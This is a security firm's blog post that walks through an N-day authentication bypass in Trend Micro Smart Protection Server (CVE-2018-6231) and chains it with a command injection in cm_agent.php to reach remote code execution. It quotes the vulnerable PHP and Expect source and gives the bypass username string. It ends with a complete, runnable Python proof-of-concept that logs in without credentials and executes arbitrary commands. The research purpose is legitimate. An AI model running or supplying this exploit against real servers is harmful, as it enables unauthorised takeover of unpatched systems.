N-day exploit development and upgrade to RCE

by UnderDefense

Feb 27, 2020

Max 10min read

Home

5

Blog

[CVE-2018-6231] Trend Micro Smart Protection Server Bypass Vulnerability +

Code Execution

By Taras Zelyk, Serhiy Sych, Bogdan Vennyk

At UnderDefense we are not only hunting for vulnerabilities and analyzing their patches but also developing exploits for N-day vulnerabilities. We are keen to share our experience, so make sure that you follow our blog.

Background

In this article, we would like to share our best practices in researching N-Day vulnerabilities, writing bulletproof exploits and chaining them with other vulnerabilities to achieve remote code execution. As an example, we will analyze authentication bypass vulnerability in Trend Micro Smart Protection Server [CVE-2018-6231] reported by Insomnia Security. All vulnerabilities now are patched by the company. 

(https://www.zerodayinitiative.com/advisories/ZDI-18-218/

This solution leverages file reputation and web reputation technology to detect security risks. The technology works by offloading a large number of malware prevention signatures and lists that were previously stored on endpoints to Trend Micro Smart Protection Server.

The Vulnerability 

According to ZDI – “This vulnerability allows remote attackers to escalate privileges on vulnerable installations of Trend Micro Smart Protection Server. Authentication is not required to exploit this vulnerability. The specific flaw exists within the handling of credentials provided at login. When parsing the username, the process does not properly validate a user-supplied string before using it to execute a system call. An attacker can leverage this vulnerability to escalate privileges to resources normally protected from the user”.

We start our analysis by installing the vulnerable version of the Trend Micro Smart Protection Server. After a successful installation, we can navigate our browser to the login page.

As our vulnerability is related to the authentication bypass we should start with sending authentication requests and inspecting it. The file we are looking for is /var/www/AdminUI/auth.php, as we can examine from the previously sent request.

Brief source code review allows us to detect the line with PHP function exec which is used to check provided username and password. Credentials are properly sanitized using escapeshellarg which prevents us from injecting malicious command to exec function. After that, credentials are passed to iLogin script in exec function call. Our goal is to make iLogin script exit with code 0 to pass if statement.

Content of /var/www/AdminUI/auth.php

$words = explode("\t", $decrypted); 
$account = escapeshellarg($words[0]); 
$password = escapeshellarg($words[1]); 
$client_nonce = $words[2];

//…truncated...

exec("/usr/tmcss/bin/iLogin $account $password", $output, $return_var);

if ($return_var == 0) {
    session_regenerate_id();
    $newId = session_id();
    $_SESSION["AuthOk"] = "true";
    $_SESSION["UserName"] = $words[0];
}

iLogin is a simple script which checks username, password and returns an exit code based on the output of su command on entered credentials. It is written in TCL scripting language and uses.

Expect tool to do authorization. Expect is a tool for automating interactive applications such as telnet, ftp, passwd, fsck, rlogin, tip, etc.

Content of /usr/tmcss/bin/iLogin 

#!/usr/bin/expect
if {[llength $argv]!=2} {
    exit 1
}
set password [lindex $argv 1]
set timeout 3
set env(LANG) en_US.UTF-8
spawn su - [lindex $argv 0] -s /bin/bash
expect "*Password:"
send -- "$password\r"
expect {
    "su: incorrect password" {
        send_user "fail\n"
        exit 1
    }
    "su: using restricted shell /usr/bin/clish" {
        send_user "ok\n"
        exit 0
    }
    timeout {
        send "sh /usr/tmcss/bin/authCheck\r"
        expect "success" {
            send_user "ok\n"
            exit 0
        }
    }
}
send_user "fail\n"
exit 1

iLogin script tries to run su to check if provided credentials are valid by comparing the output of su command to the string “su: using restricted shell /usr/bin/clish”. It returns exit code 0 in the case of success and 1 otherwise.

1. Output of iLogin script with valid credentials:

2. Here is the output of iLogin with a valid username with an incorrect password:

3.The output of iLogin with an invalid username and incorrect password:

According to our previous observations, when a non-existent username is passed to su, it throws an error “su: user <username> does not exist”. So our username is reflected in the output of the su command. But how can we use it? Well, we should be able to trick expect construction by passing string “Password: su: using restricted shell /usr/bin/clish” as the username parameter.

When injected, it successfully bypasses expect statement and exits with code 0.

Now, to bypass authorization, we just need to use “Password: su: using restricted shell /usr/bin/clish” string as a username and any password in the auth request. As a result, we successfully logged into Trend Micro Smart Protection Server:

But true Hacker needs RCE 🙂

Upon further investigation, we have discovered authenticated command injection due to unsafe usage of the exec function in line 241 in /php/cm_agent.php file.  

Content of /php/cm_agent.php

 

function SOSubscription($data) {
    $res = ['errcode' => '423', 'response' => 'ERR', 'message' => ''];
    $res['success_ok'] = '0';
    //auto-deploy information from TMCM
    $serviceurl = $data['Settings']['SO_SubscriptionSetting']['ServiceURL'];
    $apikey = $data['Settings']['SO_SubscriptionSetting']['APIKey'];

    if(!$serviceurl || !apikey) {
        echo json_encode($res);
        return;
    }
    // ccca register command
    $tmpdata = [];
    $ret = 0;
    $reg_cmd = LWCSCTRL_CMD." -c CCCA_REGISTER -u ".$serviceurl." -a ".$apikey;
    exec($reg_cmd, $tmpdata, $ret);
}

It allows us to “upgrade” our exploit to get remote command execution.

Exploit development

During the authentication process, our password and username are encrypted using public-key cryptography and encoded with base64. We will use BeautifulSoup python library to parse the response from the login page and extract N parameter(RSA Modulus) for our RSA key. So our login function looks straightforward as described in the comments for code snippet below.

def login(username, password):
    s = requests.Session()
    r = s.get(host + "/index.php", verify=False)
    sid, nonce = s.cookies.get_dict().items()[0]
   
    # parse n from page and pass it to construct_key function
    cipher = construct_key(BeautifulSoup(r.text, 'html.parser')
        .find("input", id="pubkey")['value'])

    # data payload for POST request
    payload = {
        "data": encrypt_data(username, password, nonce, cipher),
        "sid": sid
    }
    r = s.post(host+"/auth.php", data=payload, verify=False)

    if 'sid' in r.url:
        print("Login was successful!")
        print("To login via browser you need to do the following steps:")
        print("Set cookie {}={}".format(sid, nonce))
        print("And open this link in browser: {}".format(r.url))
        return s
    else:
        print("Error")
        exit()

For RCE we just need to inject our command string to ServiceURL attribute and send our payload to /php/cm_agent.php.

def do_rce(session, cmd):
    data = {
        "data": json.dumps({"Settings": {"SO_SubscriptionSetting": 
              {"ServiceURL": "aaa; {} #".format(cmd), "APIKey": "aaa"}}}),
        "T": 105,
        "sid": session.cookies.get_dict().keys()[0]
    }
    print("Executing {}".format(cmd))
    session.post(host + "/php/cm_agent.php", data=data)

Full code for our exploit is in appendix.

Results of exploitation

We were successfully authenticated and able to execute a reverse shell.

Conclusion 

Nowadays, just keeping up with updates from a vendor may not help you. To cover all your bases you should consider multi-layered security –  not only update your software but perform regular Penetration testings to ensure discovery of blind spots you missed with vulnerability management process, Security Monitoring to detect and prevent threats and minimize data breaches that can be caused by exploiting such vulnerabilities. Every Security service can be crucial and should be in order to stay protected. 

Appendix

Exploit PoC code 

from Crypto.Cipher import PKCS1_v1_5
from Crypto.PublicKey import RSA
from bs4 import BeautifulSoup
import requests
import base64
import json
import sys
requests.packages.urllib3.disable_warnings()
# construct public key from n and e
 def construct_key(n, e="10001"):
     return PKCS1_v1_5.new(RSA.construct((long(n, 16), long(e, 16))))
 # encrypt our data with public key and encode with base64
 def encrypt_data(username, password, nonce, cipher):
     return base64.b64encode(cipher.encrypt(username + "\t" + password \
+ "\t" + nonce))
 
 # auth
 def login(username, password):
     s = requests.Session()
     r = s.get(host + "/index.php", verify=False)
     sid, nonce = s.cookies.get_dict().items()[0]
    # parse n from page and pass it to construct_key function
     cipher = construct_key(BeautifulSoup(r.text, 'html.parser').find("input",\
 id="pubkey")['value'])

    # data payload for POST request
     payload = {
         "data": encrypt_data(username, password, nonce, cipher),
         "sid": sid
     }
     r = s.post(host+"/auth.php", data=payload, verify=False)
     if 'sid' in r.url:
         print("Login was successful!")
         print("To login via browser you need to do the following steps:")
         print("Set cookie {}={}".format(sid, nonce))
         print("And open this link in browser: {}".format(r.url))
         return s
     else:
         print("Error")
         exit()
# code execution
 def do_rce(session, cmd):
     data = {
         "data": json.dumps({"Settings": {"SO_SubscriptionSetting": {"ServiceURL":\
 "aaa; {} #".format(cmd), "APIKey": "aaa"}}}),
         "T": 105,
         "sid": session.cookies.get_dict().keys()[0]
     }
     print("Executing {}".format(cmd))
     session.post(host + "/php/cm_agent.php", data=data)
if __name__ == "__main__":
     if len(sys.argv) < 3:
         print("Usage: python exp.py <url> <cmd>")
         exit()
     host = sys.argv[1]
     cmd = sys.argv[2]
     # using our string to bypass auth
     session = login("Password: su: using restricted shell /usr/bin/clish",\
 'anypassword')
     do_rce(session, cmd)